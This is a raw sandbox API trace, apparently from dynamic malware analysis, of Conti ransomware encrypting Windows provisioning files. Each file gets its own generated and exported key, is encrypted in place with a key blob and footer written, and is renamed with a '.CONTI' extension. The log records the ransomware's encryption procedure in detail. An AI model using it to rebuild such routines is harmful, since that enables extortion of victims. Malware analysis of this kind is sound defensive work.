	[0106.477] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0106.477] GetProcessHeap () returned 0x1720000
	[0106.477] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb760 | out: hHeap=0x1720000) returned 1
	[0106.477] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0106.492] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x17c8230) returned 1
	[0106.492] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x3bbfde4 | out: pbData=0x17d3d64*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0106.493] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20
	[0106.493] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.494] GetLastError () returned 0x0
	[0106.494] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=2309) returned 1
	[0106.494] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x905
	[0106.494] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.494] SetEndOfFile (hFile=0x3a0) returned 1
	[0106.494] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.494] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.494] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.498] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.498] ReadFile (in: hFile=0x3a0, lpBuffer=0x9880000, nNumberOfBytesToRead=0x905, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x905, lpOverlapped=0x0) returned 1
	[0106.498] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x905, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x910) returned 1
	[0106.498] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.498] WriteFile (in: hFile=0x3a0, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x910, lpOverlapped=0x0) returned 1
	[0106.498] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.498] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0106.499] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.499] CloseHandle (hObject=0x3a0) returned 1
	[0106.499] GetProcessHeap () returned 0x1720000
	[0106.499] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.499] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml"
	[0106.499] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI"
	[0106.499] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml.conti")) returned 1
	[0106.499] GetProcessHeap () returned 0x1720000
	[0106.499] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.499] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0106.499] GetProcessHeap () returned 0x1720000
	[0106.499] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3688 | out: hHeap=0x1720000) returned 1
	[0106.499] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0106.504] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c80b0) returned 1
	[0106.505] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x3bbfde4 | out: pbData=0x17d4fa4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0106.505] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml")) returned 0x20
	[0106.507] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.507] GetLastError () returned 0x0
	[0106.507] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=5080) returned 1
	[0106.507] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13d8
	[0106.507] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.507] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.508] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.508] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.508] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d4fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d4fa4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.511] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.511] ReadFile (in: hFile=0x3a8, lpBuffer=0x9880000, nNumberOfBytesToRead=0x13d8, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x13d8, lpOverlapped=0x0) returned 1
	[0106.513] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x13d8, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x13e0) returned 1
	[0106.513] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.513] WriteFile (in: hFile=0x3a8, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x13e0, lpOverlapped=0x0) returned 1
	[0106.513] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.513] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d4f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d4f98*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0106.513] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.513] CloseHandle (hObject=0x3a8) returned 1
	[0106.514] GetProcessHeap () returned 0x1720000
	[0106.514] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.514] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"
	[0106.514] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.CONTI"
	[0106.514] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.conti")) returned 1
	[0106.514] GetProcessHeap () returned 0x1720000
	[0106.514] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.514] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0106.514] GetProcessHeap () returned 0x1720000
	[0106.514] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb760 | out: hHeap=0x1720000) returned 1
	[0106.514] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0106.519] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c83b0) returned 1
	[0106.519] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d3b1c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0106.520] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0106.520] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0106.520] GetLastError () returned 0x0
	[0106.520] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=3308) returned 1
	[0106.520] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcec
	[0106.520] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.520] SetEndOfFile (hFile=0x3b0) returned 1
	[0106.521] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.521] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.521] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.351] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.351] ReadFile (in: hFile=0x3b0, lpBuffer=0x9880000, nNumberOfBytesToRead=0xcec, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0xcec, lpOverlapped=0x0) returned 1
	[0107.351] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xcec, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xcf0) returned 1
	[0107.351] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.351] WriteFile (in: hFile=0x3b0, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0xcf0, lpOverlapped=0x0) returned 1
	[0107.351] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.351] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0107.352] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.352] CloseHandle (hObject=0x3b0) returned 1
	[0107.352] GetProcessHeap () returned 0x1720000
	[0107.352] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.352] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0107.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0107.352] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0107.352] GetProcessHeap () returned 0x1720000
	[0107.352] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.352] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0107.352] GetProcessHeap () returned 0x1720000
	[0107.352] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0107.352] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0108.081] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65122e0 | out: phKey=0x65122e0*=0x17c8330) returned 1
	[0108.083] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65122e4, pdwDataLen=0x3bbfde4 | out: pbData=0x65122e4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0108.084] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.084] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.084] GetLastError () returned 0x0
	[0108.084] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=719) returned 1
	[0108.084] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0108.084] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.084] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.084] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.084] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.084] WriteFile (in: hFile=0x3c4, lpBuffer=0x65122e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65122e4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.088] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.088] ReadFile (in: hFile=0x3c4, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2cf, lpOverlapped=0x0) returned 1
	[0108.088] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2cf, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2d0) returned 1
	[0108.088] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.088] WriteFile (in: hFile=0x3c4, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.088] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.089] WriteFile (in: hFile=0x3c4, lpBuffer=0x65122d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65122d8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0108.089] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.089] CloseHandle (hObject=0x3c4) returned 1
	[0108.089] GetProcessHeap () returned 0x1720000
	[0108.089] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.089] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml"
	[0108.089] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.CONTI"
